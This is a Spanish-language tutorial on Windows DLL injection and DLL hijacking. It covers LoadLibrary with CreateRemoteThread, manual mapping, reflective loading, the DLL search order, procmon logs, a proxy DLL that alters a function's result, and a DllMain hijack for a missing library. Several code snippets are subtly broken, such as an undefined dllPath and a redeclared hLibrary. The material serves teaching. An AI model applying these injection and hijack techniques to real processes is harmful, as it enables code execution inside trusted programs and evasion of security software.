DLL Injection
DLL injection
es un método que implica insertar un fragmento de código, estructurado como una Dynamic Link Library (DLL), en un proceso en ejecución. Esta técnica permite que el código insertado se ejecute dentro del contexto del proceso, influyendo así en su comportamiento o accediendo a sus recursos.
DLL injection
encuentra aplicaciones legítimas en varias áreas. Por ejemplo, los desarrolladores de software utilizan esta tecnología para hot patching
, un método que permite enmendar o actualizar el código de manera continua, sin la necesidad de reiniciar el proceso en curso de inmediato. Un ejemplo destacado de esto es Azure's use of hot patching for updating operational servers, que facilita los beneficios de la actualización sin necesitar el tiempo de inactividad del servidor.
Sin embargo, no es completamente inocuo. Los ciberdelincuentes a menudo manipulan DLL injection
para insertar código malicioso en procesos de confianza. Esta técnica es particularmente efectiva para evadir la detección por parte del software de seguridad.
Existen varios métodos diferentes para ejecutar una inyección de DLL.
LoadLibrary
LoadLibrary
es un método ampliamente utilizado para la inyección de DLL, empleando la API LoadLibrary
para cargar la DLL en el espacio de direcciones del proceso objetivo.
La API LoadLibrary
es una función proporcionada por el sistema operativo Windows que carga una Dynamic Link Library (DLL) en la memoria del proceso actual y devuelve un handle que se puede usar para obtener las direcciones de las funciones dentro de la DLL.
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary to load a DLL into the current process
HMODULE hModule = LoadLibrary("example.dll");
if (hModule == NULL) {
printf("Failed to load example.dll\n");
return -1;
}
printf("Successfully loaded example.dll\n");
return 0;
}
El primer ejemplo muestra cómo LoadLibrary
puede ser utilizado para cargar una DLL en el proceso actual de manera legítima.
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary for DLL injection
// First, we need to get a handle to the target process
DWORD targetProcessId = 123456 // The ID of the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
printf("Failed to open target process\n");
return -1;
}
// Next, we need to allocate memory in the target process for the DLL path
LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddressInRemoteMemory == NULL) {
printf("Failed to allocate memory in target process\n");
return -1;
}
// Write the DLL path to the allocated memory in the target process
BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
if (!succeededWriting) {
printf("Failed to write DLL path to target process\n");
return -1;
}
// Get the address of LoadLibrary in kernel32.dll
LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddress == NULL) {
printf("Failed to get address of LoadLibraryA\n");
return -1;
}
// Create a remote thread in the target process that starts at LoadLibrary and points to the DLL path
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread in target process\n");
return -1;
}
printf("Successfully injected example.dll into target process\n");
return 0;
}
El segundo ejemplo ilustra el uso de LoadLibrary
para la inyección de DLL. Este proceso implica asignar memoria dentro del proceso objetivo para la ruta de la DLL y luego iniciar un hilo remoto que comienza en LoadLibrary
y se dirige hacia la ruta de la DLL.
Manual Mapping
Manual Mapping
es un método increíblemente complejo y avanzado de inyección de DLL. Implica la carga manual de una DLL en la memoria de un proceso y resuelve sus importaciones y relocaciones. Sin embargo, evita la detección fácil al no usar la función LoadLibrary
, cuyo uso es monitoreado por los sistemas de seguridad y anti-trampa.
Un esquema simplificado del proceso puede representarse de la siguiente manera:
- Cargar la DLL como datos en bruto en el proceso de inyección.
- Mapear las secciones de la DLL en el proceso objetivo.
- Inyectar shellcode en el proceso objetivo y ejecutarlo. Este shellcode reubica la DLL, rectifica las importaciones, ejecuta las callbacks de Thread Local Storage (TLS) y finalmente llama a la función principal de la DLL.
Reflective DLL Injection
Reflective DLL injection
es una técnica que utiliza la programación reflexiva para cargar una librería desde la memoria en un proceso anfitrión. La librería en sí es responsable de su proceso de carga al implementar un cargador de archivos Portable Executable (PE) mínimo. Esto le permite decidir cómo se cargará e interactuará con el anfitrión, minimizando la interacción con el sistema y proceso anfitrión.
Stephen Fewer tiene un gran GitHub demostrando la técnica. Tomando su explicación a continuación:
"El procedimiento de inyectar remotamente una librería en un proceso tiene dos fases. Primero, la librería que deseas inyectar debe ser escrita en el espacio de direcciones del proceso objetivo (en adelante referido como el 'proceso anfitrión'). Segundo, la librería debe cargarse en el proceso anfitrión para cumplir con las expectativas de tiempo de ejecución de la librería, como resolver sus importaciones o reubicarla en una ubicación adecuada en la memoria.
Asumiendo que tenemos ejecución de código en el proceso anfitrión y la librería que deseamos inyectar ha sido escrita en una ubicación de memoria arbitraria en el proceso anfitrión, la Reflective DLL Injection funciona de la siguiente manera.
- El control de ejecución se transfiere a la función
ReflectiveLoader
de la librería, una función exportada encontrada en la tabla de exportaciones de la librería. Esto puede suceder ya sea a través deCreateRemoteThread()
o un shellcode de bootstrap mínimo. - Como la imagen de la librería actualmente reside en una ubicación de memoria arbitraria, el
ReflectiveLoader
inicialmente calcula la ubicación actual de su propia imagen en memoria para analizar sus propios encabezados para uso posterior. - El
ReflectiveLoader
luego analiza la tabla de exportaciones dekernel32.dll
del proceso anfitrión para calcular las direcciones de tres funciones necesarias por el cargador, a saber,LoadLibraryA
,GetProcAddress
, yVirtualAlloc
. - El
ReflectiveLoader
ahora asigna una región de memoria continua donde procederá a cargar su propia imagen. La ubicación no es crucial; el cargador reubicará correctamente la imagen más tarde. - Los encabezados y secciones de la librería se cargan en sus nuevas ubicaciones de memoria.
- El
ReflectiveLoader
luego procesa la copia recién cargada de la tabla de importaciones de su imagen, cargando cualquier librería adicional y resolviendo sus direcciones de función importadas respectivas. - El
ReflectiveLoader
luego procesa la copia recién cargada de la tabla de relocaciones de su imagen. - El
ReflectiveLoader
luego llama a la función de punto de entrada de su imagen recién cargada,DllMain
, conDLL_PROCESS_ATTACH
. La librería ahora ha sido cargada exitosamente en la memoria. - Finalmente, el
ReflectiveLoader
devuelve la ejecución al shellcode de bootstrap inicial que lo llamó, o si se llamó a través deCreateRemoteThread
, el hilo terminaría."
DLL Hijacking
DLL Hijacking
es una técnica de explotación donde un atacante se aprovecha del proceso de carga de DLL de Windows. Estas DLL pueden cargarse durante el tiempo de ejecución, creando una oportunidad de secuestro si una aplicación no especifica la ruta completa a una DLL requerida, haciéndola susceptible a tales ataques.
El orden de búsqueda de DLL predeterminado utilizado por el sistema depende de si Safe DLL Search Mode
está activado. Cuando está habilitado (que es la configuración predeterminada), Safe DLL Search Mode reposiciona el directorio actual del usuario más abajo en el orden de búsqueda. Es fácil habilitar o deshabilitar la configuración editando el registro.
- Presiona
Windows key + R
para abrir el cuadro de diálogo Ejecutar. - Escribe
Regedit
y presionaEnter
. Esto abrirá el Editor del Registro. - Navega a
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager
. - En el panel derecho, busca el valor
SafeDllSearchMode
. Si no existe, haz clic derecho en el espacio en blanco de la carpeta o haz clic derecho en la carpetaSession Manager
, seleccionaNew
y luegoDWORD (32-bit) Value
. Nombra este nuevo valor comoSafeDllSearchMode
. - Haz doble clic en
SafeDllSearchMode
. En el campo de datos de valor, ingresa1
para habilitar y0
para deshabilitar Safe DLL Search Mode. - Haz clic en
OK
, cierra el Editor del Registro y reinicia el sistema para que los cambios surtan efecto.
Con este modo habilitado, las aplicaciones buscan los archivos DLL necesarios en la siguiente secuencia:
- El directorio desde el cual se cargó la aplicación.
- El directorio del sistema.
- El directorio del sistema de 16 bits.
- El directorio de Windows.
- El directorio actual.
- Los directorios que se enumeran en la variable de entorno PATH.
Sin embargo, si 'Safe DLL Search Mode' está desactivado, el orden de búsqueda cambia a:
- El directorio desde el cual se cargó la aplicación.
- El directorio actual.
- El directorio del sistema.
- El directorio del sistema de 16 bits.
- El directorio de Windows.
- Los directorios que se enumeran en la variable de entorno PATH.
DLL Hijacking implica unos pasos adicionales. Primero, necesitas identificar una DLL que el objetivo está intentando localizar. Herramientas específicas pueden simplificar esta tarea:
Process Explorer
: Parte del conjunto Sysinternals de Microsoft, esta herramienta ofrece información detallada sobre los procesos en ejecución, incluidas sus DLL cargadas. Al seleccionar un proceso e inspeccionar sus propiedades, puedes ver sus DLL.PE Explorer
: Este Portable Executable (PE) Explorer puede abrir y examinar un archivo PE (como un .exe o .dll). Entre otras características, revela las DLL de las que el archivo importa funcionalidad.
Después de identificar una DLL, el siguiente paso es determinar qué funciones deseas modificar, lo cual requiere herramientas de ingeniería inversa, como desensambladores y depuradores. Una vez identificadas las funciones y sus firmas, es hora de construir la DLL.
Tomemos un ejemplo práctico. Considera el siguiente programa en C:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>
typedef int (*AddFunc)(int, int);
int readIntegerInput()
{
int value;
char input[100];
bool isValid = false;
while (!isValid)
{
fgets(input, sizeof(input), stdin);
if (sscanf(input, "%d", &value) == 1)
{
isValid = true;
}
else
{
printf("Invalid input. Please enter an integer: ");
}
}
return value;
}
int main()
{
HMODULE hLibrary = LoadLibrary("library.dll");
if (hLibrary == NULL)
{
printf("Failed to load library.dll\n");
return 1;
}
AddFunc add = (AddFunc)GetProcAddress(hLibrary, "Add");
if (add == NULL)
{
printf("Failed to locate the 'Add' function\n");
FreeLibrary(hLibrary);
return 1;
}
HMODULE hLibrary = LoadLibrary("x.dll");
printf("Enter the first number: ");
int a = readIntegerInput();
printf("Enter the second number: ");
int b = readIntegerInput();
int result = add(a, b);
printf("The sum of %d and %d is %d\n", a, b, result);
FreeLibrary(hLibrary);
system("pause");
return 0;
}
Carga una función add
de library.dll
y utiliza esta función para sumar dos números. Posteriormente, imprime el resultado de la suma. Al examinar el programa en Process Monitor (procmon),
podemos observar el proceso de carga de library.dll
ubicado en el mismo directorio.
Primero, establecemos un filtro en procmon para incluir únicamente main.exe
, que es el nombre del proceso del programa. Este filtro nos ayudará a enfocarnos específicamente en las actividades relacionadas con la ejecución de main.exe
. Es importante tener en cuenta que procmon solo captura información mientras está activo. Por lo tanto, si tu registro aparece vacío, debes cerrar main.exe
y reabrirlo mientras procmon está activo. Esto garantizará que se capture la información necesaria para su análisis.
Luego, si desplazas hacia la parte inferior, puedes ver la llamada para cargar library.dll
.
Podemos filtrar aún más por una Operation
de Load Image
para obtener solo las librerías que la aplicación está cargando.
16:13:30,0074709 main.exe 47792 Load Image C:\Users\PandaSt0rm\Desktop\Hijack\main.exe SUCCESS Image Base: 0xf60000, Image Size: 0x26000
16:13:30,0075369 main.exe 47792 Load Image C:\Windows\System32\ntdll.dll SUCCESS Image Base: 0x7ffacdbf0000, Image Size: 0x214000
16:13:30,0075986 main.exe 47792 Load Image C:\Windows\SysWOW64\ntdll.dll SUCCESS Image Base: 0x77a30000, Image Size: 0x1af000
16:13:30,0120867 main.exe 47792 Load Image C:\Windows\System32\wow64.dll SUCCESS Image Base: 0x7ffacd5a0000, Image Size: 0x57000
16:13:30,0122132 main.exe 47792 Load Image C:\Windows\System32\wow64base.dll SUCCESS Image Base: 0x7ffacd370000, Image Size: 0x9000
16:13:30,0123231 main.exe 47792 Load Image C:\Windows\System32\wow64win.dll SUCCESS Image Base: 0x7ffacc750000, Image Size: 0x8b000
16:13:30,0124204 main.exe 47792 Load Image C:\Windows\System32\wow64con.dll SUCCESS Image Base: 0x7ffacc850000, Image Size: 0x16000
16:13:30,0133468 main.exe 47792 Load Image C:\Windows\System32\wow64cpu.dll SUCCESS Image Base: 0x77a20000, Image Size: 0xa000
16:13:30,0144586 main.exe 47792 Load Image C:\Windows\SysWOW64\kernel32.dll SUCCESS Image Base: 0x76460000, Image Size: 0xf0000
16:13:30,0146299 main.exe 47792 Load Image C:\Windows\SysWOW64\KernelBase.dll SUCCESS Image Base: 0x75dd0000, Image Size: 0x272000
16:13:31,7974779 main.exe 47792 Load Image C:\Users\PandaSt0rm\Desktop\Hijack\library.dll SUCCESS Image Base: 0x6a1a0000, Image Size: 0x1d000
Proxying
Podemos utilizar un método conocido como DLL Proxying para ejecutar un secuestro. Crearemos una nueva librería que cargará la función Add
de library.dll
, la manipulará y luego la devolverá a main.exe
.
- Crear una nueva librería: Crearemos una nueva librería que servirá como proxy para
library.dll
. Esta librería contendrá el código necesario para cargar la funciónAdd
delibrary.dll
y realizar las manipulaciones necesarias. - Cargar la función
Add
: Dentro de la nueva librería, cargaremos la funciónAdd
de lalibrary.dll
original. Esto nos permitirá acceder a la función original. - Manipular la función: Una vez cargada la función
Add
, podemos aplicar las manipulaciones o modificaciones deseadas a su resultado. En este caso, simplemente vamos a modificar el resultado de la suma, agregando+ 1
al resultado. - Devolver la función modificada: Después de completar el proceso de manipulación, devolveremos la función
Add
modificada de la nueva librería amain.exe
. Esto asegurará que cuandomain.exe
llame a la funciónAdd
, ejecutará la versión modificada con los cambios previstos.
El código es el siguiente:
// tamper.c
#include <stdio.h>
#include <Windows.h>
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif
typedef int (*AddFunc)(int, int);
DLL_EXPORT int Add(int a, int b)
{
// Load the original library containing the Add function
HMODULE originalLibrary = LoadLibraryA("library.o.dll");
if (originalLibrary != NULL)
{
// Get the address of the original Add function from the library
AddFunc originalAdd = (AddFunc)GetProcAddress(originalLibrary, "Add");
if (originalAdd != NULL)
{
printf("============ HIJACKED ============\n");
// Call the original Add function with the provided arguments
int result = originalAdd(a, b);
// Tamper with the result by adding +1
printf("= Adding 1 to the sum to be evil\n");
result += 1;
printf("============ RETURN ============\n");
// Return the tampered result
return result;
}
}
// Return -1 if the original library or function cannot be loaded
return -1;
}
Compílalo o usa la versión precompilada proporcionada. Renombra library.dll
a library.o.dll
, y renombra tamper.dll
a library.dll
.
Ejecutar main.exe
luego muestra el hack exitoso.
Invalid Libraries
Otra opción para ejecutar un ataque de DLL Hijack es reemplazar una librería válida que el programa está intentando cargar pero no puede encontrar con una librería elaborada. Si cambiamos el filtro de procmon para centrarnos en entradas cuyo camino termine en .dll
y tenga un estado de NAME NOT FOUND
, podemos encontrar tales librerías en main.exe
.
Como sabemos, main.exe
busca en muchos lugares buscando x.dll
, pero no la encuentra en ningún lado. La entrada en la que estamos particularmente interesados es:
17:55:39,7848570 main.exe 37940 CreateFile C:\Users\PandaSt0rm\Desktop\Hijack\x.dll NAME NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a
Donde busca cargar x.dll
desde el directorio de la aplicación. Podemos aprovechar esto y cargar nuestro propio código, con muy poco contexto de lo que está buscando en x.dll
.
#include <stdio.h>
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
printf("Hijacked... Oops...\n");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Este código define una función de punto de entrada de DLL llamada DllMain
que es llamada automáticamente por Windows cuando la DLL se carga en un proceso. Cuando se carga la librería, simplemente imprimirá Hijacked... Oops...
en la terminal, pero teóricamente podrías hacer cualquier cosa aquí.
Compílalo o usa la versión precompilada proporcionada. Renombra hijack.dll
a x.dll
, y ejecuta main.exe
.